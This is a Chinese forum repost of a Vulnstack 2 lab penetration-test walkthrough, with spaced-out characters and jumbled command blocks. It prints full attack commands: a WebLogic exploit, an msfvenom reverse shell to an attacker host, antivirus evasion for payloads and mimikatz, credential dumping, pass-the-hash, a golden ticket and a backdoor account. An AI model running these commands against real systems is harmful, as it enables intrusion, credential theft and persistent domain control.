搜索

[16460] 2021-02-19_记一次Vulnstack靶场内网渗透

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-02-19_记一次Vulnstack靶场内网渗透 记 一 次 V u l n s t a c k 靶 场 内 网 渗 透 W H O A M I   F r e e B u f   2 0 2 1 - 0 2 - 1 9 前 言 前 言 在 上 一 节 《 记 一 次 V u l n s t a c k 靶 场 内 网 渗 透 （ 二 ） 》 中 ， 我 们 简 单 的 对 v u l n s t a c k   4 的 靶 场 环 境 做 了 一 次 测 试 ， 通 过 外 网 初 探 、 信 息 收 集 、 攻 入 内 网 最 终 拿 下 域 控 。 在 本 节 中 ， 我 们 将 对 v u l n s t a c k   2 这 个 靶 场 进 行 渗 透 测 试 。 靶 场 地 址 ： h t t p : / / v u l n s t a c k . q i y u a n x u e t a n g . n e t / v u l n / d e t a i l / 3 / 本 次 靶 场 环 境 主 要 包 括 A c c e s s   T o k e n 利 用 、 W M I 利 用 、 域 漏 洞 利 用 S M B   r e l a y ， E W S   r e l a y ， P T T ( P T C ) ， M S 1 4 - 0 6 8 ， G P P ， S P N 利 用 、 黄 金 票 据 / 白 银 票 据 / S i d   H i s t o r y / M O F 等 攻 防 技 术 。 B y p a s s   U A C W i n d o w s 系 统 N T L M 获 取 A c c e s s   T o k e n 利 用 （ M S S Q L 利 用 ） W M I 利 用 网 页 代 理 ， 二 层 代 理 ， 特 殊 协 议 代 域 内 信 息 收 集 域 漏 洞 利 用 ： S M B   r e l a y ， E W S   r e l a y ， P T T ( P T C ) ， M S 1 4 - 0 6 8 ， G P P ， S P N 利 用 域 凭 证 收 集 后 门 技 术 （ 黄 金 票 据 、 白 银 票 据 、 S i d   H i s t o r y 、 M O F ） 环 境 准 备 环 境 准 备 域 控 服 务 器 ： 域 控 服 务 器 ： 内 网 I P ： 1 0 . 1 0 . 1 0 . 1 0 系 统 ： W i n d o w s   S e r v e r   2 0 1 2 （ 6 4 位 ） 用 户 名 ： d e 1 a y W E B 服 务 器 ： 服 务 器 ： 模 拟 外 网 I P ： 1 9 2 . 1 6 8 . 1 . 8 内 网 I P ： 1 0 . 1 0 . 1 0 . 8 0 系 统 ： W i n d o w s   S e r v e r   2 0 0 8 （ 6 4 位 ）
用 户 名 ： P C 域 内 主 机 ： 域 内 主 机 ： 内 网 I P ： 1 0 . 1 0 . 1 0 . 2 0 1 系 统 ： W i n d o w s   7 （ 3 2 位 ） 用 户 名 ： 攻 击 者 攻 击 者 V P S ： ： 模 拟 外 网 I P ： 1 9 2 . 1 6 8 . 1 . 7 系 统 ： L i n u x W e b 服 务 器 有 两 个 网 卡 ， 一 个 网 卡 连 接 外 网 ， 对 外 提 供 w e b 服 务 ， 另 一 个 网 卡 连 接 内 网 。 域 成 员 主 机 W i n d o w s   7 和 域 控 制 器 位 于 内 网 ， 域 成 员 主 机 可 以 没 有 公 网 I P 但 能 上 网 ， 域 控 制 器 只 能 与 内 网 连 通 ， 不 能 与 外 网 通 信 。 外 网 渗 透 外 网 渗 透 我 们 已 知 W e b 服 务 器 的 公 网 I P 为 1 9 2 . 1 6 8 . 1 . 8 （ 模 拟 ） ， 所 以 ， 我 们 先 对 其 W e b 服 务 器 进 行 端 口 扫 描 ： 发 现 目 标 主 机 上 开 放 1 4 3 3 端 口 和 7 0 0 1 端 口 ， 分 别 运 行 着 M s s q l 和 W e b l o g i c 服 务 ， 我 们 先 从 7 0 0 1 端 口 上 的 W e b l o g i c 下 手 。 W e b L o g i c   1 0 . 3 . 6 . 0 访 问 目 标 W e b L o g i c 服 务 器 控 制 台 ： 发 现 W e b L o g i c 的 版 本 是 1 0 . 3 . 6 . 0 ， 用 W e b l o g i c 一 键 漏 洞 检 测 工 具 一 把 梭 ， 该 工 具 提 供 W e b L o g i c 一 键 p o c 检 测 ， 收 录 几 乎 全 部 w e b l o g i c 历 史 漏 洞 ： n m a p   - T 4   - s C   - s V   1 9 2 . 1 6 8 . 1 . 8
存 在 的 漏 洞 还 真 不 少 。 先 试 试 C V E - 2 0 1 9 - 2 7 2 5 ， 我 们 在 m e t a s p l o i t 上 找 到 了 该 漏 洞 的 利 用 模 块 ： 但 是 该 模 块 所 携 带 的 p a y l o a d 是 针 对 u n i x 环 境 的 ， 在 w i n d o w s 的 环 境 自 然 没 办 法 反 弹 回 m e t e r p r e t e r 。 找 遍 全 网 ， 我 找 到 了 如 下 解 决 方 法 ： 去   e x p l o i t - d b 下 载 这 个 e x p l o i t 脚 本 ， 然 后 攻 击 者 使 用 如 下 命 令 生 成 一 个 p o w e r s h e l l 格 式 的 木 马 ： 用 著 名 的 A P T 3 2 组 织 海 莲 花 常 用 的 一 个 工 具 I n v o k e - O b f u s c a t i o n 对 生 成 的 s h e l l . p s 1 做 一 下 简 单 的 免 杀 。 然 后 将 刚 下 载 的 e x p l o i t 脚 本 中 的 e x p l o i t 变 量 替 换 为 生 成 的 s h e l l . p s 1 脚 本 中 的 内 容 。 然 后 在 m s f c o n s o l e 中 设 置 好 监 听 ： 然 后 执 行 e x p l o i t 脚 本 ： 执 行 后 ， m s f c o n s o l e 成 功 得 到 目 标 主 机 的 m e t e r p r e t e r ， 并 且 为 管 理 员 权 限 ： 内 网 信 息 收 集 内 网 信 息 收 集 拿 到 了 目 标 W e b 服 务 器 的 权 限 后 ， 我 们 开 始 对 目 标 主 机 及 其 所 在 的 网 络 环 境 进 行 信 息 收 集 。 本 机 信 息 收 集 本 机 信 息 收 集 e x p l o i t / m u l t i / m i s c / w e b l o g i c _ d e s e r i a l i z e _ a s y n c r e s p o n s e s e r v i c e m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 . 7   L P O R T = 4 4 4 4   - f   p s h - c m d   >   s h e l l . p s 1 p y t h o n 3   e x p l o i t . p y   h t t p : / / 1 9 2 . 1 6 8 . 1 . 8 : 7 0 0 1 / _ a s y n c / A s y n c R e s p o n s e S e r v i c e H t t p s s y s t e m i n f o         / /   查 看 操 作 系 统 信 息 e c h o   % P R O C E S S O R _ A R C H I T E C T U R E %         / /   查 看 系 统 体 系 结 构
综 上 可 知 目 标 W e b 服 务 器 主 机 的 操 作 系 统 为 W i n d o w s   S e r v e r   2 0 0 8 ， 具 有 两 个 网 卡 分 别 连 通 1 9 2 . 1 6 8 . 1 . 1 / 2 4 和 1 0 . 1 0 . 1 0 . 1 / 2 4 两 个 网 段 。 域 内 信 息 收 集 域 内 信 息 收 集 i p c o n f i g   / a l l                             / /   查 询 本 机 I P 段 ， 所 在 域 等 w h o a m i       / /   查 看 当 前 用 户 、 权 限 n e t   u s e r                                                                 / /   查 看 本 地 用 户 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s                       / /   查 看 本 地 管 理 员 组 （ 通 常 包 含 域 用 户 ） n e t   c o n f i g   w o r k s t a t i o n           / /   查 看 当 前 计 算 机 名 ， 全 名 ， 用 户 名 ， 系 统 版 本 ， 工 作 站 域 ， 登 陆 的 域 等 n e t   v i e w   / d o m a i n                             / /   查 看 域 n e t   t i m e   / d o m a i n                       / /   主 域 服 务 器 会 同 时 作 为 时 间 服 务 器 n e t   u s e r   / d o m a i n
从 收 集 的 信 息 可 知 ， 目 标 主 机 所 在 的 网 络 存 在 域 环 境 ， 域 名 为 d e 1 a y . c o m ， 存 在 两 台 域 主 机 W E B 和 P C ， 域 控 制 器 为 D C . d e 1 a y . c o m ， 主 机 名 为 D C ， 域 管 理 员 为 A d m i n i s t r a t o r 。 攻 入 内 网 攻 入 内 网 我 们 先 使 用 s o c k s 代 理 工 具 c h i s e l 在 目 标 主 机 W E B 的 1 0 9 0 端 口 上 搭 建 一 个 s o c k s 5 代 理 服 务 。 在 目 标 主 机 上 传 W i n d o w s 版 的 c h i s e l ， 然 后 执 行 如 下 命 令 启 动 s o c k s 5 代 理 服 务 器 ： 攻 击 机 执 行 如 下 命 令 启 动 s o c k s 5 客 户 端 ： 如 下 图 ， 成 功 在 攻 击 机 上 面 的 1 0 8 0 端 口 开 启 了 一 个 s o c k s 5 监 听 ： 然 后 再 配 置 攻 击 机 的 代 理 工 具 p r o x y c h a i n s 4 ： s t a r t   / b   c h i s e l . e x e   s e r v e r   - p   1 0 9 0   - - s o c k s 5 / /   s t a r t   / b 为 后 台 运 行 n o h u p   . / c h i s e l _ f o r _ l i n u x 6 4   c l i e n t   1 9 2 . 1 6 8 . 1 . 8 : 1 0 9 0   s o c k s   & v i m   / e t c / p r o x y c h a i n s 4 . c o n f
此 时 ， 我 们 攻 击 机 上 的 应 用 程 序 就 可 以 通 过 p r o x y c h a i n s 4 代 理 进 目 标 内 网 了 。 探 测 目 标 内 网 的 主 机 存 活 ： - P n 和 - s T 必 须 要 加 上 ， 否 则 扫 描 失 败 通 过 扫 描 发 现 ， 内 网 中 还 存 在 1 0 . 1 0 . 1 0 . 1 0 和 1 0 . 1 0 . 1 0 . 2 0 1 这 两 台 主 机 ， 对 应 的 主 机 名 分 别 为 D C 和 P C 。 横 向 移 动 横 向 移 动 既 然 是 攻 击 内 网 ， 我 们 当 然 少 不 了 试 试 永 恒 之 蓝 了 ， 在 m s f c o n s o l e 里 面 执 行 ， 把 m s f 代 理 进 内 网 （ 也 可 以 添 加 路 由 ） ： 扫 描 目 标 内 网 中 存 在 m s 1 7 _ 0 1 0 的 主 机 ： 发 现 两 个 主 机 都 存 在 漏 洞 ， 先 打 尝 试 那 个 P C （ 1 0 . 1 0 . 1 0 . 2 0 1 ） ： 失 败 了 ， 又 尝 试 了 一 下 D C ， 好 家 伙 ， 直 接 蓝 屏 了 ， 只 能 走 别 的 路 了 。 在 W E B 主 机 上 用 m i m i k a t z 抓 一 下 域 用 户 的 密 码 ， 为 了 能 绕 过 3 6 0 ， 我 们 要 对 m i m i k a t z 进 行 免 杀 ， 使 用 T i d e 安 全 团 队 的 系 列 文 章 《 远 控 免 杀 专 题 》 中 的 m s f 加 载 b i n 的 方 法 ， 需 要 用 到   D o n u t 和   s h e l l c o d e _ i n j e c t . r b 。 首 先 使 用 D o n u t 对 需 要 执 行 的 文 件 进 行 s h e l l c o d e 生 成 ， 这 里 对 m i m i k a t z 进 行 s h e l l c o d e 生 成 ， 生 成 b i n 文 件 m i m i . b i n ， 等 下 会 用 到 ： p r o x y c h a i n s 4   n m a p   - A   - F   - s T   - P n   1 0 . 1 0 . 1 0 . 1 / 2 4   >   n m a p _ r e s . t x t s e t g   P r o x i e s   s o c k s 5 : 1 2 7 . 0 . 0 . 1 : 1 0 8 0 s e t g   P r o x i e s   s o c k s 5 : 1 2 7 . 0 . 0 . 1 : 1 0 8 0               / /   预 先 设 置 好 代 理 u s e   e x p l o i t / w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / b i n d _ t c p s e t   r h o s t   1 0 . 1 0 . 1 0 . 2 0 1 s e t   l p o r t   . / d o n u t   - f   1   m i m i k a t z . e x e   - a   2   - o   m i m i . b i n
然 后 将 上 面 的   s h e l l c o d e _ i n j e c t . r b   放 入 目 录 下 ， 然 后 进 入 m s f c o n s o l e ， 执 行 载 入 所 有 模 块 。 此 时 ， 我 们 便 可 以 使 用 刚 才 载 入 的 s h e l l c o d e _ i n j e c t 模 块 来 将 m i m i . b i n 注 入 执 行 了 ： 最 后 成 功 加 载 了 m i m i k a t z ： 成 功 抓 取 到 a d m i n i s t r a t o r 、 d e 1 a y 、 m s s q l 这 三 个 域 用 户 的 密 码 ， 皆 为 1 q a z @ W S X ： / u s r / s h a r e / m e t a s p l o i t - f r a m e w o r k / m o d u l e s / p o s t / w i n d o w s / m a n a g e / r e l o a d _ a l l u s e   p o s t / w i n d o w s / m a n a g e / s h e l l c o d e _ i n j e c t s e t   s e s s i o n   2 s e t   s h e l l c o d e   / r o o t / m i m i . b i n s e t   C H A N N E L I Z E D   t r u e s e t   I N T E R A C T I V E   t r u e         / /   这 两 个 一 定 要 设 为 t r u e ， 不 然 无 交 互 式 界 面 。 r u n
有 了 用 户 名 和 密 码 ， 拿 下 P C 和 域 控 就 简 单 多 了 。 我 们 先 控 制 W E B 主 机 与 P C 建 立 一 个 i p c $ 连 接 ： 然 后 ， 我 们 新 生 成 一 个 m s f 木 马 s h e l l 2 . e x e 并 稍 做 免 杀 ， 上 传 到 W E B 主 机 上 ， 然 后 在 W E B 主 机 上 执 行 如 下 命 令 ， 将 木 马 复 制 到 远 程 主 机 P C 上 ： 然 后 再 m e t e r p r e t e r 中 载 入 p o w e r s h e l l 模 块 ： 在 p o w e r s h e l l 里 面 执 行 如 下 命 令 ， 控 制 W E B 主 机 使 用 D C O M 在 远 程 机 器 P C 上 执 行 刚 刚 上 传 到 P C 主 机 C 盘 里 的 木 马 ： 如 上 图 所 示 ， 成 功 执 行 P C 主 机 C 盘 里 的 木 马 ， 并 成 功 得 到 了 P C 主 机 的 m e t e r p r e t e r 。 经 扫 描 ， 主 机 P C 开 放 3 3 8 9 端 口 ： n e t   u s e   1 0 . 1 0 . 1 0 . 2 0 1 i p c $   " 1 q a z @ W S X "   / u s e r : a d m i n i s t r a t o r c o p y   s h e l l 2 . e x e   1 0 . 1 0 . 1 0 . 2 0 1 c $ l o a d   p o w e r s h e l l           / /   载 入 p o w e r s h e l l 模 块 p o w e r s h e l l _ s h e l l         / /   进 入 p o w e r s h e l l 交 互 模 式 $ c o m   =   [ T y p e ] : : G e t T y p e F r o m C L S I D ( ' 9 B A 0 5 9 7 2 - F 6 A 8 - 1 1 C F - A 4 4 2 - 0 0 A 0 C 9 0 A 8 F 3 9 ' , " 1 0 . 1 0 . 1 0 . 2 0 1 " ) $ o b j   =   [ S y s t e m . A c t i v a t o r ] : : C r e a t e I n s t a n c e ( $ c o m ) $ i t e m   =   $ o b j . i t e m ( ) $ i t e m . D o c u m e n t . A p p l i c a t i o n . S h e l l E x e c u t e (
尝 试 登 录 P C 远 程 桌 面 ， 成 功 ： 进 攻 域 控 进 攻 域 控 直 接 利 用 m s f 的 e x p l o i t / w i n d o w s / s m b / p s e x e c 模 块 进 行 哈 希 传 递 ： 成 功 拿 下 域 控 制 器 ， 并 且 是 s y s t e m 权 限 ： 域 控 权 限 维 持 域 控 权 限 维 持 黄 金 票 据 黄 金 票 据 假 设 又 这 么 一 种 情 况 ， 我 们 已 拿 到 的 域 内 所 有 的 账 户 H a s h ， 包 括 k r b t g t 账 户 ， 由 于 有 些 原 因 导 致 你 对 域 管 权 限 丢 失 ， 但 好 在 你 还 有 一 个 普 通 域 用 户 权 限 ， 碰 巧 管 理 员 在 域 内 加 固 时 忘 记 重 置 k r b t g t 密 码 ， 基 于 此 条 件 ， 我 们 还 能 利 用 该 票 据 重 新 获 得 域 管 理 员 权 限 ， 利 用 k r b t g t 的 H A S H 值 可 以 伪 造 生 成 任 意 的 T G T ( m i m i k a t z ) ， 能 够 绕 过 对 任 意 用 户 的 账 号 策 略 ， 让 用 户 成 为 任 意 组 的 成 员 ， 可 用 于 K e r b e r o s 认 证 的 任 何 服 务 。 首 先 ， 我 们 登 上 域 控 制 器 ， 像 之 前 一 样 用 s h e l l c o d e _ i n j e c t 启 动 m i m i k a t z ， 然 后 执 行 如 下 命 令 抓 取 k r b t g t 用 户 的 H a s h 值 并 获 取 域 s i d ： u s e   e x p l o i t / w i n d o w s / s m b / p s e x e c s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / b i n d _ t c p s e t   r h o s t   1 0 . 1 0 . 1 0 . 1 0 s e t   S M B U s e r   a d m i n i s t r a t o r s e t   S M B P a s s   1 q a z @ W S X r u n p r i v i l e g e : : d e b u g l s a d u m p : : l s a   / p a t c h                 / /   专 用 于 在 域 控 制 器 上 导 出 用 户 密 码 或 h a s h
如 上 图 所 示 ， 我 们 得 到 k r b t g t 用 户 的 H a s h 为 ： 8 2 d f c 7 1 b 7 2 a 1 1 e f 3 7 d 6 6 3 0 4 7 b c 2 0 8 8 f b ， 域 s i d 为 S - 1 - 5 - 2 1 - 2 7 5 6 3 7 1 1 2 1 - 2 8 6 8 7 5 9 9 0 5 - 3 8 5 3 6 5 0 6 0 4 然 后 ， 我 们 切 换 到 普 通 域 用 户 的 W E B 主 机 或 P C 主 机 ， 用 m i m i k a t z 生 成 名 为 t i c k e t . k i r b i 的 T G T 凭 证 ， 用 户 名 为 域 管 理 员 用 户 （ a d m i n i s t r a t o r ） ： 生 成 T G T 凭 证 t i c k e t . k i r b i 成 功 ， 名 为 t i c k e t . k i r b i ， 然 后 再 在 m i m i k a t z 中 将 凭 证 t i c k e t . k i r b i 注 入 进 去 ： 此 时 查 看 当 前 会 话 中 的 票 据 ， 就 可 以 发 现 刚 刚 注 入 的 票 据 在 里 面 了 ： 到 此 ， 注 入 成 功 。 输 入 “ e x i t ” 退 出 m i m i k a t z ， 此 时 ， 攻 击 者 就 可 以 利 用 这 台 普 通 域 用 户 的 主 机 任 意 访 问 域 控 制 器 了 ， 如 下 列 出 域 控 的 C 盘 目 录 ： 也 可 以 使 用 p s e x e c ， w m i 等 方 法 通 过 W E B 主 机 对 D C 进 行 远 程 执 行 命 令 了 ， 具 体 操 作 不 再 演 示 。 S I D   H i s t o r y 域 后 门 域 后 门 在 W i n d o w s 中 ， 每 个 用 户 都 有 自 己 的 S I D 。 S I D 的 作 用 主 要 是 跟 踪 安 全 主 体 控 制 用 户 连 接 资 源 时 的 访 问 权 限 。 如 果 将 A 域 中 的 域 用 户 迁 移 到 B 域 中 ， 那 么 在 B 域 中 该 用 户 的 S I D 会 随 之 改 变 ， 进 而 影 响 迁 移 后 用 户 的 权 限 ， 导 致 迁 移 后 的 用 户 不 能 访 问 本 来 可 以 访 问 的 资 源 。 S I D   H i s t o r y 的 作 用 是 在 域 迁 移 过 程 中 保 持 域 用 户 的 访 问 权 限 ， 即 如 果 迁 移 后 用 户 的 如 果 迁 移 后 用 户 的 S I D 改 变 了 ， 系 统 会 将 其 原 来 的 改 变 了 ， 系 统 会 将 其 原 来 的 S I D 添 加 到 迁 移 后 用 户 的 添 加 到 迁 移 后 用 户 的 S I D   H i s t o r y 属 性 中 ， 使 迁 移 后 的 用 户 保 持 原 有 权 限 、 能 够 访 问 属 性 中 ， 使 迁 移 后 的 用 户 保 持 原 有 权 限 、 能 够 访 问 其 原 来 可 以 访 问 的 资 源 其 原 来 可 以 访 问 的 资 源 。 使 用 m i m i k a t z ， 可 以 将 S I D   H i s t o r y 属 性 添 加 到 域 中 任 意 用 户 的 S I D   H i s t o r y 属 性 中 。 在 实 战 中 ， 如 果 获 得 了 域 管 理 员 权 限 ， 则 可 以 将 S I D   H i s t o r y 作 为 实 现 持 久 化 的 方 法 。 下 面 我 们 演 示 用 m i m i k a t z 添 加 S I D   H i s t o r y 后 门 的 操 作 。 首 先 我 们 在 域 控 制 器 上 新 建 一 个 恶 意 用 户 “ w h o a m i ” ： k e r b e r o s : : g o l d e n   / u s e r : a d m i n i s t r a t o r   / d o m a i n : d e 1 a y . c o m   / s i d : S - 1 - 5 - 2 1 - 2 7 5 6 3 7 1 1 2 1 - 2 8 6 8 7 5 9 9 0 5 - 3 8 5 3 6 5 0 6 0 4   / k r b t g t : 8 2 d f c 7 1 b 7 2 a 1 1 e f 3 7 d 6 6 3 0 4 7 b c 2 0 8 8 f b   / t i c k e t : t i c k e t . k i r b i #   k e r b e r o s : : g o l d e n   / u s e r : 需 要 伪 造 的 域 管 理 员 用 户 名   / d o m a i n : d e m o . c o m   / s i d : 域 s i d   / k r b t g t :   k r b t g t 用 户 的 H a s h   / t i c k e t : t i c k e t . k i r b i k e r b e r o s : : p u r g e       / / 先 清 空 所 有 票 据 k e r b e r o s : : p t t   t i c k e t . k i r b i         / / 再 将 生 成 的 票 据 注 入 域 用 户 主 机 W i n d o w s 7 中 / /   k e r b e r o s : : p t t   < 票 据 文 件 > k e r b e r o s : : t g t d i r   D C c $ n e t   u s e r   w h o a m i   L i u 7 8 9 6 3   / a d d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理